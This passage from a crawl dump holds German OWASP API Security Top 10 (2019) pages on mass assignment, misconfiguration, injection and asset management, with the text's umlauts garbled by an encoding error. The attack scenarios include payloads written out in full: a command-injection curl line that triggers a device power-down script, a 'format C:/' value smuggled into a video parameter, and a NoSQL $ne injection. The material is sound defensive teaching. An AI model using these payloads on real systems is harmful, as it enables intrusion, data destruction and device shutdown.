außerhalb des Anwendungscodes bereitgestellt.\n\n- Die Durchsetzungsmechanismen sollten standardmäßig jeden Zugriff verweigern und explizite Genehmigungen fĂźr bestimmte Rollen fĂźr den Zugriff auf jede Funktion erfordern.\n- ÜberprĂźfen Sie Ihre API-Endpunkte auf Mängel bei der Autorisierung auf Funktionsebene und berĂźcksichtigen Sie dabei die Geschäftslogik der Anwendung und die Hierarchie der Gruppen.\n- Stellen Sie sicher, dass alle Ihre administrativen Controller von einem abstrakten administrativen Controller erben, der BerechtigungsprĂźfungen auf Grundlage der Gruppe/Rolle des Benutzers implementiert.\n- Stellen Sie sicher, dass administrative Funktionen innerhalb eines regulären Controllers BerechtigungsprĂźfungen auf Grundlage der Gruppe und Rolle des Benutzers implementieren.\n\n## References\n\n### OWASP\n\n- [OWASP Article on Forced Browsing](https://www.owasp.org/index.php/Forced_browsing)\n- [OWASP Top 10 2013-A7-Missing Function Level Access Control](https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control)\n- [OWASP Development Guide: Chapter on Authorization](https://www.owasp.org/index.php/Category:Access_Control)\n\n### Externe Quellen\n\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)", "znaku_textu": 5329, "slov": 656, "odkazu": 166, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:19", "sha256": "bb9b30ae85823fc63103aed4bad1663c84d7fc88591e844e50134e8f47710673", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Forced_browsing", "https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control", "https://www.owasp.org/index.php/Category:Access_Control", "https://cwe.mitre.org/data/definitions/285.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xa6-mass-assignment/", "titulek": "API6:2019 - Mass Assignment - OWASP API Security Top 10", "h1": "API6:2019 - Mass Assignment", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xa6-mass-assignment/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API6:2019 - Mass Assignment"}, {"uroven": 2, "text": "Ist die API angreifbar?"}, {"uroven": 2, "text": "Beispiele fĂźr Angriffe"}, {"uroven": 3, "text": "Szenario #1"}, {"uroven": 3, "text": "Szenario #2"}, {"uroven": 2, "text": "Vorbeugende Maßnahmen"}, {"uroven": 2, "text": "Referenzen"}, {"uroven": 3, "text": "Externe Quellen"}], "markdown": "# API6:2019 - Mass Assignment\n\n| Bedrohungsakteure/Angriffsvektoren | SicherheitslĂźcken | Auswirkungen |\n| --- | --- | --- |\n| API-spezifisch : Ausnutzbarkeit **2** | Häufigkeit **2** : Erkennbarkeit **2** | Komplexität **2** : Unternehmensspezifisch |\n| Die Ausnutzung erfordert in der Regel ein Verständnis der Geschäftslogik, der Beziehungen zwischen den Objekten und der API-Struktur. Die Ausnutzung von \"Mass Asignment\" ist in APIs einfacher, da sie aufgrund ihrer Konzeption die zugrundeliegende Implementierung der Anwendung zusammen mit den Namen der Eigenschaften offenlegen. | Moderne Frameworks ermutigen Entwickler zur Verwendung von Funktionen, die automatisch Eingaben vom Client in Codevariablen und interne Objekte binden. Angreifer kĂśnnen diese Methode nutzen, um die Eigenschaften sensibler Objekte zu aktualisieren oder zu Ăźberschreiben, die die Entwickler nie offenlegen wollten. | Die Ausnutzung kann zu einer Ausweitung von Privilegien, Datenmanipulation, Umgehung von Sicherheitsmechanismen und vielem mehr fĂźhren. |\n\n## Ist die API angreifbar?\n\nModerne Anwendungen kĂśnnen viele Objekteigenschaften enthalten. Einige dieser Eigenschaften sollten direkt vom Client aktualisiert werden (z. B. `user.first_name` oder `user.address`), während andere nicht aktualisiert werden sollten (z. B. `user.is_vip-Flag`).\n\nEin API-Endpunkt ist anfällig, wenn er automatisch Client-Parameter in interne Objekteigenschaften konvertiert, ohne dabei die Sensibilität und das Gefährdungspotential dieser Eigenschaften zu berĂźcksichtigen. Dies kĂśnnte einem Angreifer ermĂśglichen, Objekteigenschaften zu aktualisieren, auf die er keinen Zugriff haben sollte.\n\nBeispiele fĂźr sensible Eigenschaften:\n\n- **Permission-related properties** : `user.is_admin` , `user.is_vip` sollte nur nur von Administratoren gesetzt werden.\n- **Process-dependent properties** : `user.cash` sollte nur intern gesetzt werden nach der ZahlungsĂźberprĂźfung gesetzt werden.\n- **Internal properties** : `article.created_time` sollte nur intern gesetzt werden durch die Anwendung gesetzt werden.\n\n## Beispiele fĂźr Angriffe\n\n### Szenario #1\n\nEine Anwendung fĂźr Mitfahrgelegenheiten bietet einem Nutzer die MĂśglichkeit, grundlegende Informationen fĂźr sein Profil zu bearbeiten. Während dieses Prozesses wird ein API-Aufruf gesendet an\n`PUT /api/v1/users/me` mit dem folgenden legitimen JSON-Objekt:\n\n```\n{\"user_name\":\"inons\",\"age\":24}\n```\n\nDie Anfrage `GET /api/v1/users/me` enthält eine zusätzlich ein `credit_balance` Attribut:\n\n```\n{\"user_name\":\"inons\",\"age\":24,\"credit_balance\":10}\n```\n\nDer Angreifer wiederholt die erste Anfrage mit der folgendem Payload:\n\n```\n{\"user_name\":\"attacker\",\"age\":60,\"credit_balance\":99999}\n```\n\nDa der Endpunkt anfällig fĂźr \"MAss Assignment\" ist, erhält der Angreifer Credits, ohne zu bezahlen.\n\n### Szenario #2\n\nEin Portal zur gemeinsamen Nutzung von Videos ermĂśglicht es Nutzern, Inhalte hochzuladen und in verschiedenen Formaten herunterzuladen. Ein Angreifer, der die API erforscht, fand heraus, dass der Endpunkt `GET /api/v1/videos/{video_id}/meta_data` ein JSON-Objekt mit den Eigenschaften des Videos zurĂźckgibt. Eine der Eigenschaften ist `\"mp4_conversion_params\":\"-v codec h264\"`, was darauf hinweist, dass die Anwendung einen Shell-Befehl zur Konvertierung des Videos verwendet.\n\nDer Angreifer fand auch heraus, dass der Endpunkt `POST /api/v1/videos/new` fĂźr \"Mass Asignment\" anfällig ist und es dem Client ermĂśglicht, eine beliebige Eigenschaft des Videoobjekts festzulegen. Der Angreifer setzt einen bĂśsartigen Wert wie folgt: `\"mp4_conversion_params\":\"-v codec h264 && format C:/\"`. Dieser Wert verursacht eine \"Remote Code Execution\", sobald der Angreifer das Video als MP4 herunterlädt.\n\n## Vorbeugende Maßnahmen\n\n- Vermeiden Sie nach MĂśglichkeit die Verwendung von Funktionen, die automatisch die Eingaben eines Benutzers in Variablen oder interne Objekte speicher, ohne diese zu validieren.\n- Setzen Sie nur die Eigenschaften auf die Whitelist, die vom Client aktualisiert werden sollen.\n- Verwenden Sie integrierte Funktionen, um Eigenschaften, auf die der Client nicht zugreifen darf, zu blockieren.\n- Definieren und Erzwingen Sie gegebenenfalls explizit Schemata fĂźr die Eingabedaten.\n\n## Referenzen\n\n### Externe Quellen\n\n- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)", "znaku_textu": 4274, "slov": 519, "odkazu": 161, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:30:51", "sha256": "f3f9e756f4baf5288f3fc469c6d36f3daef18fb62c095efa732c1f6d32fe1120", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/915.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xa7-security-misconfiguration/", "titulek": "API7:2019 Security Misconfiguration - OWASP API Security Top 10", "h1": "API7:2019 Security Misconfiguration", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xa7-security-misconfiguration/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API7:2019 Security Misconfiguration"}, {"uroven": 2, "text": "Ist die API angreifbar?"}, {"uroven": 2, "text": "Beispiele fĂźr Angriffe"}, {"uroven": 3, "text": "Szenario #1"}, {"uroven": 3, "text": "Szenario #2"}, {"uroven": 3, "text": "Szenario #3"}, {"uroven": 2, "text": "Vorbeugende Maßnahmen"}, {"uroven": 2, "text": "Referenzen"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externe Quellen"}], "markdown": "# API7:2019 Security Misconfiguration\n\n| Bedrohungsakteure/Angriffsvektoren | SicherheitslĂźcken | Auswirkungen |\n| --- | --- | --- |\n| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **3** : Erkennbarkeit **3** | Komplexität **2** : Unternehmensspezifisch |\n| Angreifer versuchen oft, ungepatchte Schwachstellen, gemeinsame Endpunkte oder ungeschĂźtzte Dateien und Verzeichnisse zu finden, um sich unbefugten Zugriff auf das System zu verschaffen oder Kenntnisse Ăźber das System zu erlangen. | Eine Sicherheitskonfiguration kann auf jeder Ebene des API-Stacks unsicher sein, von der Netzwerkebene bis zur Anwendungsebene. Es gibt automatisierte Tools, die dazu dienen, Fehlkonfigurationen wie unnĂśtige Dienste oder veraltete Optionen zu erkennen und auszunutzen. | Unsichere Sicherheitskonfigurationen kĂśnnen nicht nur sensible Benutzerdaten, sondern auch Systemdetails preisgeben, die zu einer vollständigen Kompromittierung des Servers fĂźhren kĂśnnen. |\n\n## Ist die API angreifbar?\n\nDie API kĂśnnte anfällig sein, wenn:\n\n- Es fehlt eine angemessene Sicherheitshärtung, sei es auf einer beliebigen Ebene des Anwendungs-Stacks oder wenn die Berechtigungen fĂźr Cloud-Services falsch konfiguriert sind.\n- Die neuesten Sicherheitspatches fehlen oder das System veraltet ist.\n- UnnĂśtige Funktionen aktiviert sind (z. B. HTTP-Methoden).\n- Keine Transport Layer Security (TLS) eingesetzt wird.\n- Sicherheitsrichtlinien werden den Clients nicht Ăźbermittelt (z. B. [Security Headers](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project) ).\n- Eine Cross-Origin Resource Sharing (CORS)-Richtlinie fehlt oder falsch konfiguriert ist.\n- Fehlermeldungen, Stack-Traces enthalten oder andere sensible Informationen offengelegt werden.\n\n## Beispiele fĂźr Angriffe\n\n### Szenario #1\n\nEin Angreifer findet die Datei `.bash_history` unter dem Stammverzeichnis des Servers, die Befehle enthält, die vom DevOps-Team fĂźr den Zugriff auf die API verwendet werden:\n\n```\n$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg=='\n```\n\nEin Angreifer kĂśnnte auch neue Endpunkte fĂźr die API identifizieren, die nur vom\nDevOps-Team verwendet werden und nicht dokumentiert sind.\n\n### Szenario #2\n\nUm einen bestimmten Dienst ins Visier zu nehmen, verwendet ein Angreifer eine beliebte Suchmaschine, um nach Computern zu suchen. Der Angreifer fand einen Host, auf dem ein beliebtes Datenbankmanagementsystem auf dem Standardport läuft. Der Host verwendete die Standardkonfiguration, bei der die Authentifizierung standardmäßig deaktiviert ist. Der Angreifer erlangte Zugriff auf Millionen von Datensätzen mit personenbezogenen Daten, persĂśnlichen Präferenzen und Authentifizierungsdaten.\n\n### Szenario #3\n\nBei der Untersuchung des Datenverkehrs einer mobilen Anwendung stellt ein Angreifer fest, dass nicht der gesamte HTTP-Verkehr Ăźber ein sicheres Protokoll (z. B. TLS) abgewickelt wird. Der Angreifer findet dies insbesondere fĂźr den Download von Profilbildern herraus. Da die Daten binär kodiert sind, findet der Angreifer, ein Muster in der Größe der API-Antworten, das er nutzt, um die Präferenzen der Benutzer bezĂźglich des dargestellten Inhalts (z. B. Profilbilder) auszulesen.\n\n## Vorbeugende Maßnahmen\n\nDer API-Lebenszyklus sollte Folgendes umfassen:\n\n- Ein wiederholbarer Härtungsprozess, der zu einer schnellen und einfachen Bereitstellung einer ordnungsgemäß gehärteten Umgebung fĂźhrt.\n- Die ÜberprĂźfung und Aktualisierung von Konfigurationen fĂźr den gesamten API-Stack. Die ÜberprĂźfung sollte Folgendes umfassen: Orchestrierungsdateien, API-Komponenten und Cloud-Dienste (z. B. S3-Bucket-Berechtigungen).\n- Ein sicherer Kommunikationskanal fĂźr alle API-Interaktionen, einschließlich des Zugriffs auf statische Assets (z. B. Bilder).\n- Ein automatisierter Prozess zur kontinuierlichen Bewertung der Effektivität der Konfiguration und Einstellungen in allen Umgebungen.\n\nDarĂźber hinaus:\n\n- Um zu verhindern, dass Exception-Traces und andere wertvolle Informationen an Angreifer zurĂźckgesendet werden, sollten, falls zutreffend, alle API-Antwort-Schemata definiert und erzwungen werden, einschließlich Fehlermeldungen.\n- Stellen Sie sicher, dass auf die API nur mit den angegebenen HTTP-Verben zugegriffen werden kann. Alle anderen HTTP-Verben sollten deaktiviert werden (z. B. `HEAD` ).\n- APIs, auf die von browserbasierten Clients zugegriffen werden soll (z. B. WebApp Front-End), sollten eine angemessene Cross-Origin Resource Sharing (CORS)-Richtlinie implementieren.\n\n## Referenzen\n\n### OWASP\n\n- [OWASP Secure Headers Project](https://www.owasp.org/index.php/OWASP_Secure_Headers_Project)\n- [OWASP Testing Guide: Configuration Management](https://www.owasp.org/index.php/Testing_for_configuration_management)\n- [OWASP Testing Guide: Testing for Error Codes](https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001))\n- [OWASP Testing Guide: Test Cross Origin Resource Sharing](https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007))\n\n### Externe Quellen\n\n- [CWE-2: Environmental Security Flaws](https://cwe.mitre.org/data/definitions/2.html)\n- [CWE-16: Configuration](https://cwe.mitre.org/data/definitions/16.html)\n- [CWE-388: Error Handling](https://cwe.mitre.org/data/definitions/388.html)\n- [Guide to General Server Security](https://csrc.nist.gov/publications/detail/sp/800-123/final) , NIST\n- [Let’s Encrypt: a free, automated, and open Certificate Authority](https://letsencrypt.org/)", "znaku_textu": 5364, "slov": 614, "odkazu": 171, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:06", "sha256": "684b1c04476a1721bdf983153ebe1d20865fd1a8024cb2dfd39b02bddd52c4f8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Secure_Headers_Project", "https://www.owasp.org/index.php/Testing_for_configuration_management", "https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001)", "https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/388.html", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://letsencrypt.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xa8-injection/", "titulek": "API8:2019 Injection - OWASP API Security Top 10", "h1": "API8:2019 Injection", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xa8-injection/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API8:2019 Injection"}, {"uroven": 2, "text": "Ist die API angreifbar?"}, {"uroven": 2, "text": "Beispiele fĂźr Angriffe"}, {"uroven": 3, "text": "Szenario #1"}, {"uroven": 3, "text": "Szenario #2"}, {"uroven": 2, "text": "Vorbeugende Maßnahmen"}, {"uroven": 2, "text": "Referenzen"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externe Quellen"}], "markdown": "# API8:2019 Injection\n\n| Bedrohungsakteure/Angriffsvektoren | SicherheitslĂźcken | Auswirkungen |\n| --- | --- | --- |\n| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **2** : Erkennbarkeit **3** | Komplexität **3** : Unternehmensspezifisch |\n| Angreifer fĂźttern die API mit bĂśsartigen Daten Ăźber alle verfĂźgbaren Injektionsvektoren (z. B. direkte Eingabe, Parameter, integrierte Dienste usw.) und erwarten, dass diese an einen Interpreter gesendet werden. | Injection-Fehler sind sehr häufig und werden oft in SQL-, LDAP- oder NoSQL-Abfragen, Betriebssystembefehlen, XML-Parsern und ORM gefunden. Diese Schwachstellen sind bei der ÜberprĂźfung des Quellcodes leicht zu entdecken. Angreifer kĂśnnen Scanner und Fuzzer verwenden. | Ein \"Injection\"-Angriff kann zur Offenlegung von Informationen und zum Datenverlust fĂźhren. Es kann auch zu DoS oder einer vollständigen Übernahme des Hosts kommen. |\n\n## Ist die API angreifbar?\n\nDie API ist anfällig fĂźr Injection-Angriffe, wenn:\n\n- Die von den Clients gelieferten Daten nicht von der API validiert, gefiltert oder bereinigt werden.\n- Die von den Clients gelieferten Daten direkt fĂźr SQL/NoSQL/LDAP-Abfragen, OS-Befehle, XML-Parser und Object Relational (ORM) / Object Document Mapping (ODM) verwendet oder konkateniert werden.\n- Daten von externen Systemen (z.B. integrierten Systemen) nicht von der API validiert, gefiltert oder bereinigt werden.\n\n## Beispiele fĂźr Angriffe\n\n### Szenario #1\n\nDie Firmware einer Kindersicherungseinrichtung stellt den Endpunkt\n`/api/CONFIG/restore` zur VerfĂźgung, der die Übermittlung einer appId als Multipart\nParameter erwartet. Mit Hilfe eines Decompilers findet ein Angreifer heraus, dass die appId\ndirekt in einen Systemaufruf ohne jegliche Validierung Ăźbergeben wird:\n\n```\nsnprintf(cmd, 128, \"%srestore_backup.sh /tmp/postfile.bin %s %d\",\n \"/mnt/shares/usr/bin/scripts/\", appid, 66);\nsystem(cmd);\n```\n\nMit dem folgenden Befehl kann der Angreifer jedes Gerät mit der gleichen\nverwundbaren Firmware ausschalten:\n\n```\n$ curl -k \"https://${deviceIP}:4567/api/CONFIG/restore\" -F 'appid=$(/etc/pod/power_down.sh)'\n```\n\n### Szenario #2\n\nWir haben eine Anwendung mit grundlegenden CRUD-Funktionen fĂźr Operationen mit\nBuchungen. Ein Angreifer konnte herausfinden, dass eine NoSQL-Injection mĂśglich ist, welche\ndurch den Query-String-Parameter `bookingId` in der Anfrage zum LĂśschen von Buchungen besteht. Die Anfrage sieht folgendermaßen aus: `DELETE /api/bookings?bookingId=678`.\n\nDer API-Server verwendet die folgende Funktion zur Bearbeitung von LĂśschanfragen:\n\n```\nrouter.delete('/bookings', async function (req, res, next) {\n try {\n const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId});\n res.status(200);\n } catch (err) {\n res.status(400).json({error: 'Unexpected error occured while processing a request'});\n }\n});\n```\n\nDer Angreifer hat die Anfrage abgefangen und den Abfrageparameter `bookingId` wie unten gezeigt geändert. In diesem Fall gelang es dem Angreifer, die Buchung eines anderen Benutzers zu lĂśschen:\n\n```\nDELETE /api/bookings?bookingId[$ne]=678\n```\n\n## Vorbeugende Maßnahmen\n\nUm Injection-Angriffe zu verhindern mĂźssen Daten von Befehlen und Abfragen getrennt werden.\n\n- FĂźhren Sie eine Datenvalidierung mit einer einzigen, vertrauenswĂźrdigen und aktiv gepflegten\nBibliothek durch.\n- Validieren, filtern und bereinigen Sie alle vom Client bereitgestellten Daten oder andere Daten, die\nvon integrierten Systemen kommen.\n- Sonderzeichen sollten unter Verwendung der spezifischen Syntax fĂźr den Zielinterpreter\nescaped werden.\n- Bevorzugen Sie eine sichere API, die eine parameterisierte Schnittstelle bereitstellt.\n- Begrenzen Sie immer die Anzahl der zurĂźckgegebenen Datensätze, um einen Datenverlust im Falle von erfolgreichen Injection-Angriffen zu verhindern.\n- Validieren Sie eingehende Daten mithilfe ausreichender Filter, um nur gĂźltige Werte fĂźr jeden Eingabeparameter zuzulassen.\n- Definieren Sie Datentypen und strenge Muster fĂźr alle String-Parameter.\n\n## Referenzen\n\n### OWASP\n\n- [OWASP Injection Flaws](https://www.owasp.org/index.php/Injection_Flaws)\n- [SQL Injection](https://www.owasp.org/index.php/SQL_Injection)\n- [NoSQL Injection Fun with Objects and Arrays](https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf)\n- [Command Injection](https://www.owasp.org/index.php/Command_Injection)\n\n### Externe Quellen\n\n- [CWE-77: Command Injection](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)", "znaku_textu": 4403, "slov": 512, "odkazu": 167, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:14", "sha256": "29a1a2447633f6177064fddb1e4f0cb4c56f6541c8eeba52bceba7f47135635f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Injection_Flaws", "https://www.owasp.org/index.php/SQL_Injection", "https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf", "https://www.owasp.org/index.php/Command_Injection", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/89.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xa9-improper-assets-management/", "titulek": "API9:2019 Improper Assets Management - OWASP API Security Top 10", "h1": "API9:2019 Improper Assets Management", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xa9-improper-assets-management/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API9:2019 Improper Assets Management"}, {"uroven": 2, "text": "Ist die API angreifbar?"}, {"uroven": 2, "text": "Beispiele fĂźr Angriffe"}, {"uroven": 3, "text": "Szenario #1"}, {"uroven": 3, "text": "Szenario #2"}, {"uroven": 2, "text": "Vorbeugende Maßnahmen"}, {"uroven": 2, "text": "Referenzen"}, {"uroven": 3, "text": "Externe Quellen"}], "markdown": "# API9:2019 Improper Assets Management\n\n| Bedrohungsakteure/Angriffsvektoren | SicherheitslĂźcken | Auswirkungen |\n| --- | --- | --- |\n| API-spezifisch : Ausnutzbarkeit **3** | Häufigkeit **3** : Erkennbarkeit **2** | Komplexität **2** : Unternehmensspezifisch |\n| Alte API-Versionen sind in der Regel nicht gepatcht und bieten daher eine einfache MĂśglichkeit, Systeme zu kompromittieren, ohne sich mit modernsten Sicherheitsmechanismen auseinandersetzen zu mĂźssen, die zum Schutz der neuesten API-Versionen implementiert wurden. | Veraltete Dokumentation erschwert die Suche nach Schwachstellen und die Behebung dieser. Das Fehlen einer Übersicht aller Systeme und einer Abschalt-Strategie fĂźhrt zu ungepatchten Systemen, was zu einer Offenlegung sensibler Daten fĂźhren kann. Es ist häufig anzutreffen, dass API-Hosts unnĂśtigerweise exponiert werden, da moderne Konzepte wie Microservices eine einfache Bereitstellung und Unabhängigkeit von Anwendungen ermĂśglichen (z. B. Cloud Computing, k8s). | Angreifer kĂśnnen Ăźber alte, ungepatchte API-Versionen, die mit derselben Datenbank verbunden sind, Zugriff auf sensible Daten erlangen oder sogar den Server Ăźbernehmen. |\n\n## Ist die API angreifbar?\n\nDie API kĂśnnte verwundbar sein, wenn:\n\n- Der Zweck eines API-Hosts unklar ist und es keine klaren Antworten auf folgende Fragen gibt:\n - In welcher Umgebung wird die API ausgefĂźhrt (z. B. Produktion, Staging, Test, Entwicklung)?\n - Wer sollte Netzwerkzugriff auf die API haben (z. B. Ăśffentlich, intern, Partner)?\n - Welche API-Version wird ausgefĂźhrt?\n - Welche Daten werden von der API erfasst und verarbeitet (z. B. PII)?\n - Wie verläuft der Datenfluss?\n- Es gibt keine Dokumentation oder die vorhandene Dokumentation ist veraltet.\n- Es gibt keinen Plan zur Ausmusterung jeder API-Version.\n- Die DienstĂźbericht der Hosts fehlt oder ist veraltet.\n- Die Übersicht der integrierten Dienste, sowohl von Erst- als auch von Drittanbietern, fehlt oder ist veraltet.\n- Alte oder frĂźhere API-Versionen werden ungepatcht ausgefĂźhrt.\n\n## Beispiele fĂźr Angriffe\n\n### Szenario #1\n\nNach der Neugestaltung ihrer Anwendungen ließ ein lokaler Suchdienst eine alte API-Version (`api.someservice.com/v1`) weiterlaufen, ohne Schutz und mit Zugriff auf die Benutzerdatenbank. Während eines Angriffs auf eine der neuesten verĂśffentlichten Anwendungen fand ein Angreifer die API-Adresse (`api.someservice.com/v2`). Durch das Ersetzen von `v2` in der URL durch `v1` erhielt der Angreifer Zugriff auf die alte, ungeschĂźtzte API und konnte personenbezogene Daten (PII) von Ăźber 100 Millionen Nutzern offenlegen.\n\n### Szenario #2\n\nEin soziales Netzwerk hat einen Mechanismus zum Rate-Limiting eingefĂźhrt, der Angreifer daran hindert, mittels Brute-Force-Attacken zurĂźckgesetzte Passwort-Token zu erraten. Dieser Mechanismus wurde nicht als Teil des API-Codes selbst implementiert, sondern in einer separaten Komponente zwischen dem Client und der offiziellen API (`www.socialnetwork.com`).\nEin Forscher fand einen Beta-API-Host (`www.mbasic.beta.socialnetwork.com`), der dieselbe API ausfĂźhrte, einschließlich des Mechanismus zum ZurĂźcksetzen des Passworts, aber der Mechanismus zum Rate-Limiting war nicht implementiert. Der Forscher konnte das Passwort jedes Benutzers zurĂźcksetzen, indem er mittels einer einfachen Brute-Force-Methode den 6-stelligen Token erraten hat.\n\n## Vorbeugende Maßnahmen\n\n- Inventarisieren Sie alle API-Hosts und dokumentieren Sie wichtige Aspekte. Konzentrieren Sie sich dabei auf die API-Umgebung (z. B. Produktion, Staging, Test, Entwicklung), wer Netzwerkzugriff auf den Host haben sollte (z. B. Ăśffentlich, intern, Partner) und die API-Version.\n- Inventarisieren Sie integrierte Dienste und dokumentieren Sie wichtige Aspekte wie ihre Rolle im System, welche Daten ausgetauscht werden (Datenfluss) und ihre Sensibilität.\n- Dokumentieren Sie alle Aspekte Ihrer API wie Authentifizierung, Fehler, Umleitungen, Ratenbegrenzung, Cross-Origin Resource Sharing (CORS)-Richtlinien und Endpunkte, einschließlich ihrer Parameter, Anfragen und Antworten.\n- Generieren Sie die Dokumentation automatisch durch die Annahme von offenen Standards. FĂźgen Sie den Dokumentationsaufbau in Ihre CI/CD-Pipeline ein.\n- Stellen Sie die API-Dokumentation nur denjenigen zur VerfĂźgung, die berechtigt sind, die API zu nutzen.\n- Verwenden Sie externe Schutzmaßnahmen wie API-Sicherheits-Firewalls fĂźr alle freigegebenen Versionen Ihrer APIs, nicht nur fĂźr die aktuelle Produktionsversion.\n- Vermeiden Sie die Verwendung von Produktionsdaten bei nicht-produktionsbezogenen API-Bereitstellungen. Wenn dies unvermeidlich ist, sollten diese Endpunkte die gleiche Sicherheitsbehandlung wie die Produktionsendpunkte erhalten.\n- Wenn neuere Versionen von APIs Sicherheitsverbesserungen enthalten, fĂźhren Sie eine Risikoanalyse durch, um die Entscheidung Ăźber die erforderlichen Maßnahmen zur Risikominderung fĂźr die ältere Version zu treffen: zum Beispiel, ob es mĂśglich ist, die Verbesserungen rĂźckwärtskompatibel zu machen, ohne die API-Kompatibilität zu beeinträchtigen, oder ob Sie schnell zur älteren Version wechseln und alle Clients zwingen mĂźssen, zur neuesten Version zu wechseln.\n\n## Referenzen\n\n### Externe Quellen\n\n- [CWE-1059: Incomplete Documentation](https://cwe.mitre.org/data/definitions/1059.html)\n- [OpenAPI Initiative](https://www.openapis.org/)", "znaku_textu": 5278, "slov": 685, "odkazu": 162, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:31:46", "sha256": "d1a62d2e16d2b8e4c43660eef9694e45f999d338f287640a039ca8e3852ec820", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/1059.html", "https://www.openapis.org/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/de/0xaa-insufficient-logging-monitoring/", "titulek": "API10:2019 Insufficient Logging & Monitoring - OWASP API Security Top 10", "h1": "API10:2019 Insufficient Logging & Monitoring", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/de/0xaa-insufficient-logging-monitoring/", "jazyk": "de", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API10:2019 Insufficient Logging & Monitoring"}, {"uroven": 2, "text": "Ist die API angreifbar?"}, {"uroven": 2, "text": "Beispiele fĂźr Angriffe"}, {"uroven": 3, "text": "Szenario #1"}, {"uroven": 3, "text": "Szenario #2"}, {"uroven": 2, "text": "Vorbeugende Maßnahmen"}, {"uroven": 2, "text": "Referenzen"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externe Quellen"}], "markdown": "# API10:2019 Insufficient Logging & Monitoring\n\n| Bedrohungsakteure/Angriffsvektoren | SicherheitslĂźcken | Auswirkungen |\n| --- | --- | --- |\n| API-spezifisch : Ausnutzbarkeit **2** | Häufigkeit **3** : Erkennbarkeit **1** | Komplexität **2** : Unternehmensspezifisch |\n| Angreifer nutzen die fehlende Protokollierung und Überwachung 